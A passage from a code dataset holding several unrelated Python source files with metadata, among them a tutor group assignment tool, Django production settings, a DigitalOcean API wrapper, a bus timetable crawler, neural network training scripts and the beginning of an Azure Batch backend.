(\"<-^->\",), 1, 1)\n self._storage = storage\n\n def __call__(self, reference_sheet_name):\n # Check that only one tutorial exists\n assert len(self._storage.tutorials) == 1, \"Only one tutorial supported, assignment was probably done in Müsli.\"\n\n # Group people by their last hand in group\n groups = []\n preprocessed_folder = Path(self._storage.get_preprocessed_folder(reference_sheet_name))\n for hand_in in preprocessed_folder.iterdir():\n if hand_in.is_dir():\n with open(hand_in / \"submission_meta.json\", \"r\") as file:\n data = load(file)\n group = []\n for muesli_id in data[\"muesli_student_ids\"]:\n group.append(self._storage.get_student_by_muesli_id(muesli_id))\n groups.append(group)\n\n self.printer.inform(f\"Found {len(groups)} groups\")\n shuffle(groups)\n groups.sort(key=len, reverse=True)\n\n # Let user specify names of tutorials and the number of groups in this tutorial\n tutor_names = [self._storage.my_name]\n while True:\n tutor_name = self.printer.ask(\"Please enter another tutor name\").strip()\n if len(tutor_name) > 0:\n if tutor_name in tutor_names:\n self.printer.warning(f\"You already have {tutor_name} in your list.\")\n else:\n tutor_names.append(tutor_name)\n else:\n break\n\n self.printer.inform()\n self.printer.inform(f\"Here are your {len(tutor_names)} tutors: \" + \", \".join(tutor_names))\n self.printer.inform()\n\n remaining_groups = len(groups)\n group_counts = [5, 5, 20, 20, 20, 19, 19]\n for i, tutor_name in enumerate(tutor_names[:-1]):\n while True:\n try:\n self.printer.inform(f\"{len(tutor_names) - i} tutors remaining for {remaining_groups} groups.\")\n tutor_group_count = int(self.printer.ask(f\"How many groups should {tutor_name} work with?\"))\n group_counts.append(tutor_group_count)\n\n remaining_groups -= tutor_group_count\n if remaining_groups < 0:\n self.printer.error(\"You specified more groups than were available\")\n continue\n break\n except ValueError:\n self.printer.error(\"Not an integer, please try again.\")\n\n group_counts.append(remaining_groups)\n self.printer.inform(f\"Automatically assigned {remaining_groups} to {tutor_names[-1]}\")\n\n # Assign groups\n tutor_groups = defaultdict(list)\n tutor_group_counts = dict(zip(tutor_names, group_counts))\n for group in groups:\n next_tutor = min((name for name in tutor_names if len(tutor_groups[name]) < tutor_group_counts[name]), key=lambda name: (len(tutor_groups[name])))\n tutor_groups[next_tutor].append(group)\n\n for tutor_name, tutor_group_count in tutor_group_counts.items():\n assert tutor_group_count == len(tutor_groups[tutor_name]), f\"Tutor {tutor_name} was assigned {len(tutor_groups[tutor_name])}, but {tutor_group_count} were requested.\"\n\n # Store assignments in ignore lists which can be sent to tutors to be put into their students directory\n meta_dir = Path(self._storage.storage_config.root) / \"__meta__\"\n tutors_dir = Path(self._storage.storage_config.root) / \"Tutors\"\n assert not tutors_dir.is_dir(), \"Recrating tutors' directories, but they exist\"\n tutors_dir.mkdir()\n for tutor_name, own_groups in tutor_groups.items():\n tutor_dir = tutors_dir / tutor_name / \"__meta__\"\n copytree(meta_dir, tutor_dir)\n\n with open(tutor_dir / \"01_my_name.json\", \"w\") as file:\n dump(tutor_name, file)\n\n own_students = [student.muesli_student_id for group in own_groups for student in group]\n other_students = [student.muesli_student_id for student in self._storage.all_students if student not in own_students]\n with open(tutor_dir / \"students\" / \"imported_students.json\", \"w\") as file:\n dump(own_students, file)\n with open(tutor_dir / \"students\" / \"exported_students.json\", \"w\") as file:\n dump(other_students, file)\n","sub_path":"assistance/command/crossover.py","file_name":"crossover.py","file_ext":"py","file_size_in_byte":6376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"520739877","text":"# -*- coding: utf-8 -*-\nfrom .base import *\n\nSENTRY_DSN = os.getenv('SENTRY_DSN')\n\nSTATIC_ROOT = os.path.join(BASE_DIR, 'static/')\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'NAME': os.getenv('POSTGRES_DB', 'thenewboston'),\n 'USER': os.getenv('POSTGRES_USER', 'thenewboston'),\n 'PASSWORD': os.getenv('POSTGRES_PASSWORD', 'thenewboston'),\n 'HOST': os.getenv('POSTGRES_HOST', 'localhost'),\n 'PORT': os.getenv('POSTGRES_PORT', '5432')\n }\n}\n\nLOGGING = {\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': '{levelname} {asctime} {module} {message}',\n 'style': '{',\n },\n },\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n },\n 'error.handler': {\n 'class': 'logging.FileHandler',\n 'filename': os.path.join(LOGS_DIR, 'error.log'),\n 'formatter': 'verbose',\n 'level': 'ERROR',\n },\n 'warning.handler': {\n 'class': 'logging.FileHandler',\n 'filename': os.path.join(LOGS_DIR, 'warning.log'),\n 'formatter': 'verbose',\n 'level': 'WARNING',\n },\n },\n 'loggers': {\n 'thenewboston': {\n 'handlers': ['error.handler', 'warning.handler'],\n 'level': 'WARNING',\n 'propagate': True,\n },\n },\n 'version': 1,\n} \n\nif SENTRY_DSN:\n import sentry_sdk\n from sentry_sdk.integrations.celery import CeleryIntegration\n from sentry_sdk.integrations.django import DjangoIntegration\n from sentry_sdk.integrations.redis import RedisIntegration\n from sentry_sdk.integrations.tornado import TornadoIntegration\n\n sentry_sdk.init(\n SENTRY_DSN,\n traces_sample_rate=1.0,\n integrations=[CeleryIntegration(), DjangoIntegration(), RedisIntegration(), TornadoIntegration()],\n )\n\nDEBUG = False\n\nINTERNAL_IPS = [\n '127.0.0.1',\n]\n","sub_path":"config/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"432227445","text":"# coding:utf8\n# Copyright czq \n\"\"\"\n定时启动爱卡口碑,10天一次\n\"\"\"\nfrom apscheduler.schedulers.blocking import BlockingScheduler\n\nfrom .ai_ka_quan_kou_bei import AiKaKouBei\n\n\ndef job_function():\n ai_ka = AiKaKouBei()\n ai_ka.start()\n\nsched = BlockingScheduler()\nsched.add_job(job_function, 'interval', days=10)\nsched.start()\n","sub_path":"ap_shcheduler.py","file_name":"ap_shcheduler.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"87623228","text":"import json\nimport requests\n\nDO_BASE_URL = \"https://api.digitalocean.com/v2\"\n\n\nclass SkiffClass(object):\n \"\"\"docstring for SkiffClass\"\"\"\n\n from . import (Action, Domain, Droplet, Image, Kernel, Key, Region, Size)\n\n DO_HEADERS = {\n \"Content-Type\": \"application/json\"\n }\n DO_DELETE_HEADERS = {\n \"Content-Type\": \"application/x-www-form-urlencoded\"\n }\n\n def __init__(self, token):\n super(SkiffClass, self).__init__()\n self.DO_TOKEN = token\n self.DO_HEADERS['Authorization'] = \"Bearer %s\" % (self.DO_TOKEN)\n self.DO_DELETE_HEADERS['Authorization'] = \"Bearer %s\" % (self.DO_TOKEN)\n\n self.Action.setSkiff(self)\n self.Domain.setSkiff(self)\n self.Droplet.setSkiff(self)\n self.Image.setSkiff(self)\n self.Key.setSkiff(self)\n self.Region.setSkiff(self)\n self.Size.setSkiff(self)\n\n def get(self, url, action=None, params=None):\n if not params:\n params = {\n 'page': True\n }\n\n collection = []\n r = requests.get(DO_BASE_URL + url, params=params, headers=self.DO_HEADERS).json()\n\n if 'message' in r:\n raise ValueError(r['message'])\n else:\n if not action:\n return r\n\n collection.extend(action(r))\n if ('links' in r) and ('pages' in r['links']) and ('next' in r['links']['pages']) and (params) and ('page' in params) and (params['page']):\n # should recursively page through results\n collection.extend(self.page_collection(r['links']['pages']['next'], action))\n\n return collection\n\n return None\n\n def post(self, url, data=None):\n if not data:\n data = {}\n\n r = requests.post(DO_BASE_URL + url, data=json.dumps(data), headers=self.DO_HEADERS)\n return r.json()\n\n def delete(self, url):\n r = requests.delete(DO_BASE_URL + url, headers=self.DO_DELETE_HEADERS)\n return r.status_code == 204\n\n def put(self, url, data=None):\n if not data:\n data = {}\n\n r = requests.put(DO_BASE_URL + url, data=json.dumps(data), headers=self.DO_HEADERS)\n return r.json()\n\n def page_collection(self, link, action):\n \"\"\"Given a link to a collection of something (Images, Droplets, etc),\n collect all the items available via the API by paging through it if needed.\n\n The `action` parameter should be a callable that creates a list from the\n results of each intermediate API call every item found.\n\n via https://github.com/fhats\n \"\"\"\n collection = []\n\n r = requests.get(link, headers=self.DO_HEADERS).json()\n\n if 'message' in r:\n raise ValueError(r['message'])\n else:\n collection.extend(action(r))\n if 'links' in r and 'pages' in r['links'] and 'next' in r['links']['pages']:\n collection.extend(self.page_collection(r['links']['pages']['next'], action))\n\n return collection\n\n\ndef rig(token):\n return SkiffClass(token)\n","sub_path":"skiff/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"448806956","text":"import argparse\r\nimport importlib.util\r\nfrom utils.exp import init_experiment\r\nfrom engine.trainer import Trainer\r\nimport numpy as np\r\nfrom torch.utils.data.sampler import SubsetRandomSampler\r\nfrom dataset.YasmineDataset2 import YKDataset\r\nfrom utils.log import logger\r\n\r\nVAL_SPLIT = .2\r\nSHUFFLE_DATASET = True\r\nRANDOM_SEED = 8\r\n\r\n\r\ndef parse_args():\r\n ap = argparse.ArgumentParser()\r\n ap.add_argument('model_path', type=str,\r\n help='Path to the model script.')\r\n ap.add_argument(\"-w\", \"--window_size\", default=192, type=int,\r\n help='The size of the sliding window.')\r\n ap.add_argument(\"-e\", \"--n_epochs\", default=1000, type=int,\r\n help='number of epochs.')\r\n ap.add_argument(\"-b\", \"--batch_size\", default=16, type=int,\r\n help='The batch size.')\r\n ap.add_argument(\"-n\", \"--experiment_name\", default='', type=str,\r\n help='The name of the experiment.')\r\n ap.add_argument(\"-o\", \"--optimizer\", default='adam', type=str,\r\n help='The name of the network optimizer.'\r\n 'possible choice: adam, adamw, sgd')\r\n ap.add_argument(\"-l\", \"--learning_rate\", default=0.001, type=float,\r\n help='The learning rate of the optimizer.')\r\n return ap.parse_args()\r\n\r\n\r\ndef main():\r\n args = parse_args()\r\n model_script = load_module(args.model_path)\r\n cfg = init_experiment(args)\r\n model, model_cfg = model_script.init_model(cfg)\r\n\r\n # prepare dataset\r\n dataset = YKDataset(window_size=cfg.window_size, dic_path=cfg.DIC_PATH)\r\n dataset_size = len(dataset)\r\n indices = list(range(dataset_size))\r\n split = int(np.floor(VAL_SPLIT * dataset_size))\r\n if SHUFFLE_DATASET:\r\n np.random.seed(RANDOM_SEED)\r\n np.random.shuffle(indices)\r\n train_indices, val_indices = indices[split:], indices[:split]\r\n train_sampler = SubsetRandomSampler(train_indices)\r\n val_sampler = SubsetRandomSampler(val_indices)\r\n\r\n trainer = Trainer(model, cfg, model_cfg, dataset, train_sampler, val_sampler, cfg.optimizer)\r\n\r\n logger.info(f'Total Epochs: {cfg.n_epochs}')\r\n for epoch in range(cfg.n_epochs):\r\n trainer.training(epoch)\r\n trainer.validation(epoch)\r\n\r\n\r\ndef load_module(script_path):\r\n spec = importlib.util.spec_from_file_location(\"model_script\", script_path)\r\n model_script = importlib.util.module_from_spec(spec)\r\n spec.loader.exec_module(model_script)\r\n\r\n return model_script\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"350566283","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\nCrawler\n\"\"\"\nimport requests\nimport lxml.html\n\nfrom validations.bus import BusCreate\n\n\nclass Crawler(object):\n \"\"\"The summary line for a class docstring should fit on one line.\n\n If the class has public attributes, they may be documented here\n in an ``Attributes`` section and follow the same formatting as a\n function's ``Args`` section. Alternatively, attributes may be documented\n inline with the attribute's declaration (see __init__ method below).\n\n Properties created with the ``@property`` decorator should be documented\n in the property's getter method.\n\n Attributes:\n attr1 (str): Description of `attr1`.\n attr2 (:obj:`int`, optional): Description of `attr2`.\n\n \"\"\"\n NIGHT_FEE_TIME = 23\n TWIN_URL_LIST = [\n \"http://www.kanachu.co.jp/dia/diagram/timetable/cs:0000802604-1/nid:00129893/rt:0/k:%E6%B9%98%E5%8D%97%E5%8F%B0\",\n \"http://www.kanachu.co.jp/dia/diagram/timetable/cs:0000802603-1/nid:00129986/rt:0/k:%E6%85%B6%E5%BF%9C%E5%A4%A7%E5%AD%A6%E6%9C%AC%E9%A4%A8%E5%89%8D\",\n \"http://www.kanachu.co.jp/dia/diagram/timetable/cs:0000802605-1/nid:00129985/rt:0/k:%E6%85%B6%E5%BF%9C%E5%A4%A7%E5%AD%A6\",\n ]\n\n def __init__(self, name: str, urls: list):\n self.dep, self.dest = name.split(\"-\")\n self.rotary = True if self.dep == \"rotary\" else False\n self.urls = urls\n self.time_table = {\n \"weekday\": [],\n \"saturday\": [],\n \"holiday\": []\n }\n self.sorted_time_table = {\n \"weekday\": [],\n \"saturday\": [],\n \"holiday\": []\n }\n self.twin = False\n\n def validate_bus(self, data: object):\n try:\n bus = BusCreate()\n bus.key = data[\"key\"]\n bus.h = data[\"h\"]\n bus.m = data[\"m\"]\n bus.type = data[\"type\"]\n bus.via = data[\"via\"]\n bus.twin = data[\"twin\"]\n bus.rotary = data[\"rotary\"]\n bus.validate()\n return data\n except:\n return False\n\n def validation(self):\n pass\n\n def sort_table_data(self):\n self.sorted_time_table[\"weekday\"] = sorted(self.time_table[\"weekday\"], key=lambda x:x[\"key\"])\n self.sorted_time_table[\"saturday\"] = sorted(self.time_table[\"saturday\"], key=lambda x:x[\"key\"])\n self.sorted_time_table[\"holiday\"] = sorted(self.time_table[\"holiday\"], key=lambda x:x[\"key\"])\n\n def append_cell2time_table(self, hour, cell, status):\n ruby_list = [ruby.text_content() for ruby in cell.cssselect(\".min > .ruby > .vs\")]\n min_list = [min.text_content() for min in cell.cssselect(\".min > .time > span a\")]\n for i, ruby in enumerate(ruby_list):\n if ruby == 'Tラ':\n continue\n if ruby == '笹':\n # print(hour, min_list[i], False, self.rotary, \"sasakubo\")\n bus = {\n \"key\": int(str(hour)+str(min_list[i])),\n \"h\": int(hour),\n \"m\": int(min_list[i]),\n \"type\": \"normal\" if int(hour) < self.NIGHT_FEE_TIME else \"night\",\n \"twin\": False,\n \"rotary\": self.rotary,\n \"via\": \"sasakubo\"\n }\n if bus not in self.time_table[status]:\n self.time_table[status].append(bus)\n elif ruby == 'T' or self.twin:\n # print(hour, min_list[i], True, self.rotary, \"\")\n bus = {\n \"key\": int(str(hour)+str(min_list[i])),\n \"h\": int(hour),\n \"m\": int(min_list[i]),\n \"type\": \"normal\" if int(hour) < self.NIGHT_FEE_TIME else \"night\",\n \"twin\": True,\n \"rotary\": self.rotary,\n \"via\": \"\"\n }\n if bus not in self.time_table[status]:\n self.time_table[status].append(bus)\n else:\n bus = {\n \"key\": int(str(hour)+str(min_list[i])),\n \"h\": int(hour),\n \"m\": int(min_list[i]),\n \"type\": \"normal\" if int(hour) < self.NIGHT_FEE_TIME else \"night\",\n \"twin\": False,\n \"rotary\": self.rotary,\n \"via\": \"\"\n }\n self.time_table[status].append(bus)\n if bus not in self.time_table[status]:\n self.time_table[status].append(bus)\n\n def crawl_data(self, url: str):\n print(self.dep, self.dest)\n print(url)\n self.twin = bool(url in self.TWIN_URL_LIST)\n print(self.twin)\n html = requests.get(url).text\n root = lxml.html.fromstring(html)\n time_table = root.cssselect(\n \"#center > div.timetable > table > tbody tr\")\n for row in time_table[:-1]:\n hour = row.cssselect(\"th\")[0].text_content()\n # add weekday data\n weekday_cell = row.cssselect(\"td\")[0]\n self.append_cell2time_table(hour, weekday_cell, 'weekday')\n # add saturday data\n saturday_cell = row.cssselect(\"td\")[1]\n self.append_cell2time_table(hour, saturday_cell, 'saturday')\n # add holiday data\n holiday_cell = row.cssselect(\"td\")[2]\n self.append_cell2time_table(hour, holiday_cell, 'holiday')\n return\n\n def crawl(self):\n for url in self.urls:\n self.crawl_data(url)\n self.validation()\n print(len(self.time_table[\"weekday\"]), len(self.time_table[\"saturday\"]), len(self.time_table[\"holiday\"]))\n self.sort_table_data()\n return\n\n\nif __name__ == '__main__':\n name = \"test-test\"\n url = [\"http://www.kanachu.co.jp/dia/diagram/timetable/cs:0000801156-1/nid:00129893/rt:0/k:%E6%B9%98%E5%8D%97%E5%8F%B0%E9%A7%85%E8%A5%BF%E5%8F%A3\"]\n crawler = Crawler(name, url)\n crawler.crawl()\n","sub_path":"crawler/Crawler.py","file_name":"Crawler.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"421247703","text":"# Hamiltonian Neural Networks | 2019\n# Sam Greydanus, Misko Dzamba, Jason Yosinski\n\nimport autograd\nimport autograd.numpy as np\nimport scipy.integrate\nsolve_ivp = scipy.integrate.solve_ivp\n\nimport torch\n\nimport os, sys\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__))\nPARENT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(PARENT_DIR)\n\nfrom itertools import tee\nfrom tqdm import tqdm\n\nfrom nn_models import MLPAutoencoder, MLP\nfrom symoden import PixelSymODEN_R\nfrom data import get_dataset\nfrom utils import L2_loss, get_model_parm_nums\nfrom options import get_args\n\nargs = get_args()\n\n'''The loss for this model is a bit complicated, so we'll\n define it in a separate function for clarity.'''\ndef pixelhnn_loss(x, x_next, model, device, return_scalar=True):\n # encode pixel space -> latent dimension\n z = model.encode(x)\n z_next = model.encode(x_next)\n\n # autoencoder loss\n x_hat = model.decode(z)\n ae_loss = ((x - x_hat)**2).mean(1)\n\n # hnn vector field loss\n noise = args.input_noise * torch.randn(*z.shape).to(device)\n\n u = torch.zeros_like(z[:,:2])\n z_noise = torch.cat((z + noise, u), -1)\n z = torch.cat((z, u), -1)\n\n z_hat_next = z + model.time_derivative(z_noise) # replace with rk4\n q_next, p_next, u_next = z_hat_next.split(2,1)\n z_hat_next = torch.cat((q_next, p_next), -1)\n hnn_loss = ((z_next - z_hat_next)**2).mean(1)\n\n # sum losses and take a gradient step\n loss = ae_loss + 1e-1 * hnn_loss\n if return_scalar:\n return loss.mean()\n return loss\n\ndef train(args):\n # set random seed\n torch.manual_seed(args.seed)\n np.random.seed(args.seed)\n\n device = torch.device('cuda:' + str(args.gpu) if torch.cuda.is_available() else 'cpu')\n\n # init model and optimizer\n autoencoder = MLPAutoencoder(args.input_dim, args.auto_hidden_dim, args.latent_dim,\n nonlinearity='relu').to(device)\n model = PixelSymODEN_R(int(args.latent_dim/2), autoencoder=autoencoder, nonlinearity=args.nonlinearity,\n dt=1e-3, M_hidden=args.hidden_dim, V_hidden=args.hidden_dim, g_hidden=args.hidden_dim, device=device)\n if args.verbose:\n print(\"Training baseline model:\" if args.baseline else \"Training HNN model:\")\n\n num_parm = get_model_parm_nums(model)\n print('model contains {} parameters'.format(num_parm))\n \n optim = torch.optim.Adam(model.parameters(), args.learn_rate, weight_decay=1e-5)\n\n # get dataset\n data = get_dataset('acrobot', args.save_dir, verbose=True, seed=args.seed)\n\n x = torch.tensor( data['pixels'], dtype=torch.float32).to(device)\n test_x = torch.tensor( data['test_pixels'], dtype=torch.float32).to(device)\n next_x = torch.tensor( data['next_pixels'], dtype=torch.float32).to(device)\n test_next_x = torch.tensor( data['test_next_pixels'], dtype=torch.float32).to(device)\n\n # vanilla ae train loop\n stats = {'train_loss': [], 'test_loss': []}\n for step in tqdm(range(args.total_steps+1)):\n \n # train step\n ixs = torch.randperm(x.shape[0])[:args.batch_size]\n loss = pixelhnn_loss(x[ixs], next_x[ixs], model, device)\n loss.backward() ; optim.step() ; optim.zero_grad()\n\n stats['train_loss'].append(loss.item())\n if args.verbose and step % args.print_every == 0:\n # run validation\n test_ixs = torch.randperm(test_x.shape[0])[:args.batch_size]\n test_loss = pixelhnn_loss(test_x[test_ixs], test_next_x[test_ixs], model, device)\n stats['test_loss'].append(test_loss.item())\n\n print(\"step {}, train_loss {:.4e}, test_loss {:.4e}\"\n .format(step, loss.item(), test_loss.item()))\n\n # this stuff was done because\n # the job kept being killed for memory use\n # the generators seem to kee that from happening\n # TODO: clean\n train_ind = list(range(0, x.shape[0], args.batch_size))\n train_ind.append(x.shape[0]-1)\n\n train_dist1, train_dist2 = tee( pixelhnn_loss(x[i].unsqueeze(0), next_x[i].unsqueeze(0), model, device).detach().cpu().numpy() for i in train_ind )\n train_avg = sum(train_dist1) / x.shape[0]\n train_std = sum( (v-train_avg)**2 for v in train_dist2 ) / x.shape[0]\n\n test_ind = list(range(0, test_x.shape[0], args.batch_size))\n test_ind.append(test_x.shape[0]-1)\n\n test_dist1, test_dist2 = tee( pixelhnn_loss(test_x[i].unsqueeze(0), test_next_x[i].unsqueeze(0), model, device).detach().cpu().numpy() for i in test_ind )\n test_avg = sum(test_dist1) / test_x.shape[0]\n test_std = sum( (v-test_avg)**2 for v in test_dist2 ) / test_x.shape[0]\n\n print('Final train loss {:.4e} +/- {:.4e}\\nFinal test loss {:.4e} +/- {:.4e}'\n .format(train_avg, train_std, test_avg, test_std))\n return model, stats\n\nif __name__ == \"__main__\":\n args = get_args()\n model, stats = train(args)\n\n # save\n os.makedirs(args.save_dir) if not os.path.exists(args.save_dir) else None\n label = 'baseline' if args.baseline else 'sym'\n path = '{}/{}-pixels-{}.tar'.format(args.save_dir, args.name, label)\n torch.save(model.state_dict(), path)\n","sub_path":"experiment-acrobot/train_symodenet.py","file_name":"train_symodenet.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"198243483","text":"# -*- coding: utf-8 -*-\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras.utils import multi_gpu_model\nfrom keras.layers import Input, Reshape, Dropout, Lambda\n\nfrom models.acoustics.plugin import ModelPlugIn\n\n__doc__ = \"cnn_ctc声学模型\"\n\n\nclass AcousticsModel:\n\n def __init__(self, args):\n self.vocab_size = args.vocab_size\n self.gpu_nums = args.gpu_nums\n self.lr = args.lr\n self.is_training = args.is_training\n self._model_init()\n if self.is_training:\n self._ctc_init()\n self.opt_init()\n\n def _model_init(self):\n self.inputs = Input(name=\"the_inputs\", shape=(None, 200, 1))\n self.h1 = ModelPlugIn.cnn_cell(32, self.inputs)\n self.h2 = ModelPlugIn.cnn_cell(64, self.h1)\n self.h3 = ModelPlugIn.cnn_cell(128, self.h2)\n self.h4 = ModelPlugIn.cnn_cell(128, self.h3, pool=False)\n self.h5 = ModelPlugIn.cnn_cell(128, self.h4, pool=False)\n self.h6 = Reshape((-1, 3200))(self.h5)\n self.h6 = Dropout(0.2)(self.h6)\n self.h7 = ModelPlugIn.dense(256)(self.h6)\n self.h7 = Dropout(0.2)(self.h7)\n self.outputs = ModelPlugIn.dense(self.vocab_size, activation=\"softmax\")(self.h7)\n self.model = Model(inputs=self.inputs, outputs=self.outputs)\n self.model.summary()\n\n def _ctc_init(self):\n self.labels = Input(name=\"the_labels\", shape=[None], dtype=\"float32\")\n self.input_length = Input(name=\"input_length\", shape=[1], dtype=\"int64\")\n self.label_length = Input(name=\"label_length\", shape=[1], dtype=\"int64\")\n self.loss_out = Lambda(ModelPlugIn.ctc_lambda, output_shape=(1,), name=\"ctc\")\\\n ([self.labels, self.outputs, self.input_length, self.label_length])\n self.ctc_model = Model(inputs=[self.labels, self.inputs,\n self.input_length, self.label_length], outputs=self.loss_out)\n\n def opt_init(self):\n opt = Adam(lr=self.lr, beta_1=0.9, beta_2=0.999, decay=0.01, epsilon=10e-8)\n if self.gpu_nums > 1:\n self.ctc_model = multi_gpu_model(self.ctc_model, gpus=self.gpu_nums)\n self.ctc_model.compile(loss={\"ctc\": lambda y_true, output: output}, optimizer=opt)\n","sub_path":"models/acoustics/cnn_ctc.py","file_name":"cnn_ctc.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"339459283","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom high_score_svc.models.base_model_ import Model\nfrom high_score_svc import util\n\n\nclass FinishedGame(Model):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n def __init__(\n self,\n player1: str = None,\n player2: str = None,\n p1winner: bool = None,\n completed: bool = None,\n ): # noqa: E501\n \"\"\"FinishedGame - a model defined in Swagger\n\n :param player1: The player1 of this FinishedGame. # noqa: E501\n :type player1: str\n :param player2: The player2 of this FinishedGame. # noqa: E501\n :type player2: str\n :param p1winner: The p1winner of this FinishedGame. # noqa: E501\n :type p1winner: bool\n :param completed: The completed of this FinishedGame. # noqa: E501\n :type completed: bool\n \"\"\"\n self.swagger_types = {\n \"player1\": str,\n \"player2\": str,\n \"p1winner\": bool,\n \"completed\": bool,\n }\n\n self.attribute_map = {\n \"player1\": \"player1\",\n \"player2\": \"player2\",\n \"p1winner\": \"p1winner\",\n \"completed\": \"completed\",\n }\n self._player1 = player1\n self._player2 = player2\n self._p1winner = p1winner\n self._completed = completed\n\n @classmethod\n def from_dict(cls, dikt) -> \"FinishedGame\":\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The FinishedGame of this FinishedGame. # noqa: E501\n :rtype: FinishedGame\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def player1(self) -> str:\n \"\"\"Gets the player1 of this FinishedGame.\n\n\n :return: The player1 of this FinishedGame.\n :rtype: str\n \"\"\"\n return self._player1\n\n @player1.setter\n def player1(self, player1: str):\n \"\"\"Sets the player1 of this FinishedGame.\n\n\n :param player1: The player1 of this FinishedGame.\n :type player1: str\n \"\"\"\n\n self._player1 = player1\n\n @property\n def player2(self) -> str:\n \"\"\"Gets the player2 of this FinishedGame.\n\n\n :return: The player2 of this FinishedGame.\n :rtype: str\n \"\"\"\n return self._player2\n\n @player2.setter\n def player2(self, player2: str):\n \"\"\"Sets the player2 of this FinishedGame.\n\n\n :param player2: The player2 of this FinishedGame.\n :type player2: str\n \"\"\"\n\n self._player2 = player2\n\n @property\n def p1winner(self) -> bool:\n \"\"\"Gets the p1winner of this FinishedGame.\n\n true if player1 won, false if player2 won # noqa: E501\n\n :return: The p1winner of this FinishedGame.\n :rtype: bool\n \"\"\"\n return self._p1winner\n\n @p1winner.setter\n def p1winner(self, p1winner: bool):\n \"\"\"Sets the p1winner of this FinishedGame.\n\n true if player1 won, false if player2 won # noqa: E501\n\n :param p1winner: The p1winner of this FinishedGame.\n :type p1winner: bool\n \"\"\"\n\n self._p1winner = p1winner\n\n @property\n def completed(self) -> bool:\n \"\"\"Gets the completed of this FinishedGame.\n\n\n :return: The completed of this FinishedGame.\n :rtype: bool\n \"\"\"\n return self._completed\n\n @completed.setter\n def completed(self, completed: bool):\n \"\"\"Sets the completed of this FinishedGame.\n\n\n :param completed: The completed of this FinishedGame.\n :type completed: bool\n \"\"\"\n\n self._completed = completed\n","sub_path":"microservices/high_score_svc/src/high_score_svc/models/finished_game.py","file_name":"finished_game.py","file_ext":"py","file_size_in_byte":3801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"100581831","text":"# coding: utf-8\n\n# Copyright (c) Microsoft Corporation.\n# Licensed under the MIT license.\n\nimport contextlib\nimport datetime\nimport posixpath\nimport shlex\nimport uuid\nfrom marshmallow import ValidationError\n\nimport azure.batch as azbatch\nimport azure.batch.batch_auth as azbatch_auth\nimport azure.storage.blob as azblob\nimport azure.mgmt.resource as azresource_mgmt\nimport azure.mgmt.storage as azstorage_mgmt\nimport azure.mgmt.batch as azbatch_mgmt\nimport azure.common.credentials as azcredentials\nimport azure.storage.file as azfiles\nfrom msrestazure.azure_exceptions import CloudError as AzCloudError\n\nfrom flask import current_app\nfrom flask_celeryext.app import current_celery_app\nfrom flask_celeryext import RequestContextTask\n\nfrom .. import common as backend_common\nfrom ... import models as tesmodels\nfrom . import models as batchbackendmodels\n\n\n@contextlib.contextmanager\ndef _handle_batch_error(should_raise=True):\n try:\n yield\n except azbatch.models.BatchErrorException as e:\n details = \"N/A\"\n if e.error.values:\n details = ', '.join([f\"{detail.key}='{detail.value}'\" for detail in e.error.values])\n current_app.logger.exception(f\"Batch error {e.error.code}: {e.error.message}. Details: {details}\")\n if should_raise:\n raise\n\n\nclass AzureBatchEngine(backend_common.AbstractComputeBackend):\n \"\"\"\n A lightweight class for working with Azure Batch.\n\n Attributes:\n credentials: An Azure Batch client credentials object.\n batch_client_pool: An instance of the Azure Batch client.\n \"\"\"\n\n @property\n def provision_request_schema(self):\n \"\"\"MarshmallowSchema for backend specific provision request\"\"\"\n return batchbackendmodels.ProvisionRequestSchema()\n\n def __init__(self):\n \"\"\"Return a new AzureBatchEngine object.\"\"\"\n self.credentials = azbatch_auth.SharedKeyCredentials(\n current_app.config['BATCH_ACCOUNT_NAME'],\n current_app.config['BATCH_ACCOUNT_KEY'])\n\n self.batch_client = azbatch.batch_service_client.BatchServiceClient(\n self.credentials,\n current_app.config['BATCH_ACCOUNT_URL']\n )\n\n def _initializePoolKeywordArgs(self, vm_size, executor_image_names=[]):\n \"\"\"Returns kwargs used for pool initialization.\"\"\"\n admin_user = None\n if current_app.config['BATCH_NODE_ADMIN_USERNAME'] and current_app.config['BATCH_NODE_ADMIN_PASSWORD']:\n # Add a debug admin user if requested\n current_app.logger.debug(f\"Adding user {current_app.config['BATCH_NODE_ADMIN_USERNAME']} to pool\")\n admin_user = [azbatch.models.UserAccount(elevation_level=azbatch.models.ElevationLevel.admin, 